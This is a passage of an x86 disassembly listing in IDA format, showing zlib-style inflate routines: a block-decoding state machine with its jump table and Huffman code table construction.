call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C6CBE: ; CODE XREF: sub_4C63A5+7B1j
; sub_4C63A5+80Bj ...
mov [ebp+arg_8], 0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_28]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_1C]
cmp ecx, [eax+2Ch]
jnz short loc_4C6CFE
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
mov [ebp+var_1C], eax
loc_4C6CFE: ; CODE XREF: sub_4C63A5+94Ej
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_10]
mov [eax+4], edx
jmp loc_4C6B45
; ---------------------------------------------------------------------------
loc_4C6D12: ; CODE XREF: sub_4C63A5+7A7j
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 0
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C6D20: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70E9o
cmp [ebp+var_28], 0
jnz loc_4C6E8C
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+2Ch]
jnz short loc_4C6D7A
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+28h]
jz short loc_4C6D7A
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_4C6D68
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_48], eax
jmp short loc_4C6D74
; ---------------------------------------------------------------------------
loc_4C6D68: ; CODE XREF: sub_4C63A5+9B0j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_48], edx
loc_4C6D74: ; CODE XREF: sub_4C63A5+9C1j
mov eax, [ebp+var_48]
mov [ebp+var_28], eax
loc_4C6D7A: ; CODE XREF: sub_4C63A5+98Ej
; sub_4C63A5+99Cj
cmp [ebp+var_28], 0
jnz loc_4C6E8C
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
mov [ebp+arg_8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_4C6DC9
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_4C], edx
jmp short loc_4C6DD5
; ---------------------------------------------------------------------------
loc_4C6DC9: ; CODE XREF: sub_4C63A5+A11j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_4C], ecx
loc_4C6DD5: ; CODE XREF: sub_4C63A5+A22j
mov edx, [ebp+var_4C]
mov [ebp+var_28], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+2Ch]
jnz short loc_4C6E2B
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+28h]
jz short loc_4C6E2B
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_4C6E19
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_50], ecx
jmp short loc_4C6E25
; ---------------------------------------------------------------------------
loc_4C6E19: ; CODE XREF: sub_4C63A5+A61j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_50], eax
loc_4C6E25: ; CODE XREF: sub_4C63A5+A72j
mov ecx, [ebp+var_50]
mov [ebp+var_28], ecx
loc_4C6E2B: ; CODE XREF: sub_4C63A5+A3Fj
; sub_4C63A5+A4Dj
cmp [ebp+var_28], 0
jnz short loc_4C6E8C
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C6E8C: ; CODE XREF: sub_4C63A5+97Fj
; sub_4C63A5+9D9j ...
mov [ebp+arg_8], 0
mov edx, [ebp+var_8]
mov eax, [ebp+var_10]
mov cl, [eax+8]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_28]
sub eax, 1
mov [ebp+var_28], eax
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 0
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C6EBE: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70EDo
cmp [ebp+var_24], 7
jbe short loc_4C6EDF
mov edx, [ebp+var_24]
sub edx, 8
mov [ebp+var_24], edx
mov eax, [ebp+var_2C]
add eax, 1
mov [ebp+var_2C], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4C6EDF: ; CODE XREF: sub_4C63A5+B1Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_4C6F24
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_54], eax
jmp short loc_4C6F30
; ---------------------------------------------------------------------------
loc_4C6F24: ; CODE XREF: sub_4C63A5+B6Cj
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_54], edx
loc_4C6F30: ; CODE XREF: sub_4C63A5+B7Dj
mov eax, [ebp+var_54]
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+34h]
jz short loc_4C6F9F
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C6F9F: ; CODE XREF: sub_4C63A5+B9Dj
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 8
loc_4C6FA8: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70F1o
mov [ebp+arg_8], 1
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C700A: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70F5o
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp short loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C7069: ; CODE XREF: sub_4C63A5+82j
mov [ebp+arg_8], 0FFFFFFFEh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp short loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C70C8: ; CODE XREF: sub_4C63A5+193j
; sub_4C63A5+2D0j ...
jmp loc_4C640E
; ---------------------------------------------------------------------------
loc_4C70CD: ; CODE XREF: sub_4C63A5+70j
; sub_4C63A5+235j ...
mov esp, ebp
pop ebp
retn
sub_4C63A5 endp
; ---------------------------------------------------------------------------
off_4C70D1 dd offset loc_4C6437 ; DATA XREF: sub_4C63A5+8Br
dd offset loc_4C6560
dd offset loc_4C6761
dd offset loc_4C6866
dd offset loc_4C6A2D
dd offset loc_4C6B18
dd offset loc_4C6D20
dd offset loc_4C6EBE
dd offset loc_4C6FA8
dd offset loc_4C700A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C70F9 proc near ; CODE XREF: sub_4C4D60+4Ep
; sub_4C4F0F+10E2p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
pop ebp
retn
sub_4C70F9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C7120 proc near ; CODE XREF: sub_4C4F0F+A6Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
push 4
push 13h
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_10]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4C7151
mov eax, 0FFFFFFFCh
jmp short loc_4C71C4
; ---------------------------------------------------------------------------
loc_4C7151: ; CODE XREF: sub_4C7120+28j
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 0
push 0
push 13h
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_4C71C8
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_4C718E
mov eax, [ebp+arg_10]
mov dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
jmp short loc_4C71AD
; ---------------------------------------------------------------------------
loc_4C718E: ; CODE XREF: sub_4C7120+60j
cmp [ebp+var_4], 0FFFFFFFBh
jz short loc_4C719C
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx], 0
jnz short loc_4C71AD
loc_4C719C: ; CODE XREF: sub_4C7120+72j
mov edx, [ebp+arg_10]
mov dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
mov [ebp+var_4], 0FFFFFFFDh
loc_4C71AD: ; CODE XREF: sub_4C7120+6Cj
; sub_4C7120+7Aj
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_10]
call dword ptr [eax+24h]
add esp, 8
mov eax, [ebp+var_4]
loc_4C71C4: ; CODE XREF: sub_4C7120+2Fj
mov esp, ebp
pop ebp
retn
sub_4C7120 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C71C8 proc near ; CODE XREF: sub_4C7120+51p
; sub_4C7A96+62p ...
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 108h
lea eax, [ebp+var_54]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_EC], ecx
loc_4C7306: ; CODE XREF: sub_4C71C8+172j
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+eax*4+var_54]
add ecx, 1
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+eax*4+var_54], ecx
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_EC]
sub edx, 1
mov [ebp+var_EC], edx
cmp [ebp+var_EC], 0
jnz short loc_4C7306
mov eax, [ebp+var_54]
cmp eax, [ebp+arg_4]
jnz short loc_4C735D
mov ecx, [ebp+arg_14]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_18]
mov dword ptr [edx], 0
xor eax, eax
jmp loc_4C7A92
; ---------------------------------------------------------------------------
loc_4C735D: ; CODE XREF: sub_4C71C8+17Aj
mov eax, [ebp+arg_18]
mov ecx, [eax]
mov [ebp+var_100], ecx
mov [ebp+var_F4], 1
jmp short loc_4C7383
; ---------------------------------------------------------------------------
loc_4C7374: ; CODE XREF: sub_4C71C8:loc_4C739Bj
mov edx, [ebp+var_F4]
add edx, 1
mov [ebp+var_F4], edx
loc_4C7383: ; CODE XREF: sub_4C71C8+1AAj
cmp [ebp+var_F4], 0Fh
ja short loc_4C739D
mov eax, [ebp+var_F4]
cmp [ebp+eax*4+var_54], 0
jz short loc_4C739B
jmp short loc_4C739D
; ---------------------------------------------------------------------------
loc_4C739B: ; CODE XREF: sub_4C71C8+1CFj
jmp short loc_4C7374
; ---------------------------------------------------------------------------
loc_4C739D: ; CODE XREF: sub_4C71C8+1C2j
; sub_4C71C8+1D1j
mov ecx, [ebp+var_F4]
mov [ebp+var_FC], ecx
mov edx, [ebp+var_100]
cmp edx, [ebp+var_F4]
jnb short loc_4C73C3
mov eax, [ebp+var_F4]
mov [ebp+var_100], eax
loc_4C73C3: ; CODE XREF: sub_4C71C8+1EDj
mov [ebp+var_EC], 0Fh
jmp short loc_4C73DE
; ---------------------------------------------------------------------------
loc_4C73CF: ; CODE XREF: sub_4C71C8:loc_4C73F6j
mov ecx, [ebp+var_EC]
sub ecx, 1
mov [ebp+var_EC], ecx
loc_4C73DE: ; CODE XREF: sub_4C71C8+205j
cmp [ebp+var_EC], 0
jz short loc_4C73F8
mov edx, [ebp+var_EC]
cmp [ebp+edx*4+var_54], 0
jz short loc_4C73F6
jmp short loc_4C73F8
; ---------------------------------------------------------------------------
loc_4C73F6: ; CODE XREF: sub_4C71C8+22Aj
jmp short loc_4C73CF
; ---------------------------------------------------------------------------
loc_4C73F8: ; CODE XREF: sub_4C71C8+21Dj
; sub_4C71C8+22Cj
mov eax, [ebp+var_EC]
mov [ebp+var_A0], eax
mov ecx, [ebp+var_100]
cmp ecx, [ebp+var_EC]
jbe short loc_4C741E
mov edx, [ebp+var_EC]
mov [ebp+var_100], edx
loc_4C741E: ; CODE XREF: sub_4C71C8+248j
mov eax, [ebp+arg_18]
mov ecx, [ebp+var_100]
mov [eax], ecx
mov edx, 1
mov ecx, [ebp+var_F4]
shl edx, cl
mov [ebp+var_E8], edx
jmp short loc_4C745B
; ---------------------------------------------------------------------------
loc_4C743E: ; CODE XREF: sub_4C71C8:loc_4C7492j
mov eax, [ebp+var_F4]
add eax, 1
mov [ebp+var_F4], eax
mov ecx, [ebp+var_E8]
shl ecx, 1
mov [ebp+var_E8], ecx
loc_4C745B: ; CODE XREF: sub_4C71C8+274j
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_EC]
jnb short loc_4C7494
mov eax, [ebp+var_F4]
mov ecx, [ebp+var_E8]
sub ecx, [ebp+eax*4+var_54]
mov [ebp+var_E8], ecx
cmp [ebp+var_E8], 0
jge short loc_4C7492
mov eax, 0FFFFFFFDh
jmp loc_4C7A92
; ---------------------------------------------------------------------------
loc_4C7492: ; CODE XREF: sub_4C71C8+2BEj
jmp short loc_4C743E
; ---------------------------------------------------------------------------
loc_4C7494: ; CODE XREF: sub_4C71C8+29Fj
mov edx, [ebp+var_EC]
mov eax, [ebp+var_E8]
sub eax, [ebp+edx*4+var_54]
mov [ebp+var_E8], eax
cmp [ebp+var_E8], 0
jge short loc_4C74BD
mov eax, 0FFFFFFFDh
jmp loc_4C7A92
; ---------------------------------------------------------------------------
loc_4C74BD: ; CODE XREF: sub_4C71C8+2E9j
mov ecx, [ebp+var_EC]
mov edx, [ebp+ecx*4+var_54]
add edx, [ebp+var_E8]
mov eax, [ebp+var_EC]
mov [ebp+eax*4+var_54], edx
mov [ebp+var_F4], 0
mov ecx, [ebp+var_F4]
mov [ebp+var_DC], ecx
lea edx, [ebp+var_50]
mov [ebp+var_4], edx
lea eax, [ebp+var_D8]
mov [ebp+var_98], eax
loc_4C74FF: ; CODE XREF: sub_4C71C8+386j
mov ecx, [ebp+var_EC]
sub ecx, 1
mov [ebp+var_EC], ecx
cmp [ebp+var_EC], 0
jz short loc_4C7550
mov edx, [ebp+var_4]
mov eax, [ebp+var_F4]
add eax, [edx]
mov [ebp+var_F4], eax
mov ecx, [ebp+var_98]
mov edx, [ebp+var_F4]
mov [ecx], edx
mov eax, [ebp+var_98]
add eax, 4
mov [ebp+var_98], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_4C74FF
; ---------------------------------------------------------------------------
loc_4C7550: ; CODE XREF: sub_4C71C8+34Dj
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov [ebp+var_EC], 0
loc_4C7560: ; CODE XREF: sub_4C71C8+404j
mov eax, [ebp+var_4]
mov ecx, [eax]
mov [ebp+var_F4], ecx
mov edx, [ebp+var_F4]
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
test edx, edx
jz short loc_4C75B4
mov ecx, [ebp+var_F4]
mov edx, [ebp+ecx*4+var_E0]
mov eax, [ebp+arg_24]
mov ecx, [ebp+var_EC]
mov [eax+edx*4], ecx
mov edx, [ebp+var_F4]
mov eax, [ebp+edx*4+var_E0]
add eax, 1
mov ecx, [ebp+var_F4]
mov [ebp+ecx*4+var_E0], eax
loc_4C75B4: ; CODE XREF: sub_4C71C8+3B4j
mov edx, [ebp+var_EC]
add edx, 1
mov [ebp+var_EC], edx
mov eax, [ebp+var_EC]
cmp eax, [ebp+arg_4]
jb short loc_4C7560
mov ecx, [ebp+var_A0]
mov edx, [ebp+ecx*4+var_E0]
mov [ebp+arg_4], edx
mov [ebp+var_EC], 0
mov eax, [ebp+var_EC]
mov [ebp+var_E0], eax
mov ecx, [ebp+arg_24]
mov [ebp+var_4], ecx
mov [ebp+var_E4], 0FFFFFFFFh
mov edx, [ebp+var_100]
neg edx
mov [ebp+var_9C], edx
mov [ebp+var_90], 0
mov [ebp+var_8], 0
mov [ebp+var_F0], 0
jmp short loc_4C763E
; ---------------------------------------------------------------------------
loc_4C762F: ; CODE XREF: sub_4C71C8:loc_4C7A5Fj
mov eax, [ebp+var_FC]
add eax, 1
mov [ebp+var_FC], eax
loc_4C763E: ; CODE XREF: sub_4C71C8+465j
mov ecx, [ebp+var_FC]
cmp ecx, [ebp+var_A0]
jg loc_4C7A64
mov edx, [ebp+var_FC]
mov eax, [ebp+edx*4+var_54]
mov [ebp+var_C], eax
loc_4C765D: ; CODE XREF: sub_4C71C8:loc_4C7A5Aj
mov ecx, [ebp+var_C]
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
test ecx, ecx
jz loc_4C7A5F
loc_4C7671: ; CODE XREF: sub_4C71C8:loc_4C78A7j
mov eax, [ebp+var_9C]
add eax, [ebp+var_100]
cmp [ebp+var_FC], eax
jle loc_4C78AC
mov ecx, [ebp+var_E4]
add ecx, 1
mov [ebp+var_E4], ecx
mov edx, [ebp+var_9C]
add edx, [ebp+var_100]
mov [ebp+var_9C], edx
mov eax, [ebp+var_A0]
sub eax, [ebp+var_9C]
mov [ebp+var_F0], eax
mov ecx, [ebp+var_F0]
cmp ecx, [ebp+var_100]
jbe short loc_4C76D8
mov edx, [ebp+var_100]
mov [ebp+var_104], edx
jmp short loc_4C76E4
; ---------------------------------------------------------------------------
loc_4C76D8: ; CODE XREF: sub_4C71C8+500j
mov eax, [ebp+var_F0]
mov [ebp+var_104], eax
loc_4C76E4: ; CODE XREF: sub_4C71C8+50Ej
mov ecx, [ebp+var_104]
mov [ebp+var_F0], ecx
mov edx, [ebp+var_FC]
sub edx, [ebp+var_9C]
mov [ebp+var_F4], edx
mov eax, 1
mov ecx, [ebp+var_F4]
shl eax, cl
mov [ebp+var_94], eax
mov ecx, [ebp+var_C]
add ecx, 1
cmp [ebp+var_94], ecx
jbe loc_4C77BB
mov edx, [ebp+var_C]
add edx, 1
mov eax, [ebp+var_94]
sub eax, edx
mov [ebp+var_94], eax
mov ecx, [ebp+var_FC]
lea edx, [ebp+ecx*4+var_54]
mov [ebp+var_98], edx
mov eax, [ebp+var_F4]
cmp eax, [ebp+var_F0]
jnb short loc_4C77BB
loc_4C7759: ; CODE XREF: sub_4C71C8+5F1j
mov ecx, [ebp+var_F4]
add ecx, 1
mov [ebp+var_F4], ecx
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_F0]
jnb short loc_4C77BB
mov eax, [ebp+var_94]
shl eax, 1
mov [ebp+var_94], eax
mov ecx, [ebp+var_98]
add ecx, 4
mov [ebp+var_98], ecx
mov edx, [ebp+var_98]
mov eax, [ebp+var_94]
cmp eax, [edx]
ja short loc_4C77A5
jmp short loc_4C77BB
; ---------------------------------------------------------------------------
loc_4C77A5: ; CODE XREF: sub_4C71C8+5D9j
mov ecx, [ebp+var_98]
mov edx, [ebp+var_94]
sub edx, [ecx]
mov [ebp+var_94], edx
jmp short loc_4C7759
; ---------------------------------------------------------------------------
loc_4C77BB: ; CODE XREF: sub_4C71C8+559j
; sub_4C71C8+58Fj ...
mov eax, 1
mov ecx, [ebp+var_F4]
shl eax, cl
mov [ebp+var_F0], eax
mov ecx, [ebp+arg_20]
mov edx, [ecx]
add edx, [ebp+var_F0]
cmp edx, 5A0h
jbe short loc_4C77EB
mov eax, 0FFFFFFFDh
jmp loc_4C7A92
; ---------------------------------------------------------------------------
loc_4C77EB: ; CODE XREF: sub_4C71C8+617j
mov eax, [ebp+arg_20]
mov ecx, [eax]
mov edx, [ebp+arg_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_E4]
mov edx, [ebp+var_8]
mov [ebp+ecx*4+var_90], edx
mov eax, [ebp+arg_20]
mov ecx, [eax]
add ecx, [ebp+var_F0]
mov edx, [ebp+arg_20]
mov [edx], ecx
cmp [ebp+var_E4], 0
jz short loc_4C789F
mov eax, [ebp+var_E4]
mov ecx, [ebp+var_EC]
mov [ebp+eax*4+var_E0], ecx
mov dl, byte ptr [ebp+var_100]
mov byte ptr [ebp+var_14+1], dl
mov al, byte ptr [ebp+var_F4]
mov byte ptr [ebp+var_14], al
mov ecx, [ebp+var_9C]
sub ecx, [ebp+var_100]
mov edx, [ebp+var_EC]
shr edx, cl
mov [ebp+var_F4], edx
mov eax, [ebp+var_E4]
mov ecx, [ebp+var_8]
sub ecx, [ebp+eax*4+var_94]
sar ecx, 3
sub ecx, [ebp+var_F4]
mov [ebp+var_10], ecx
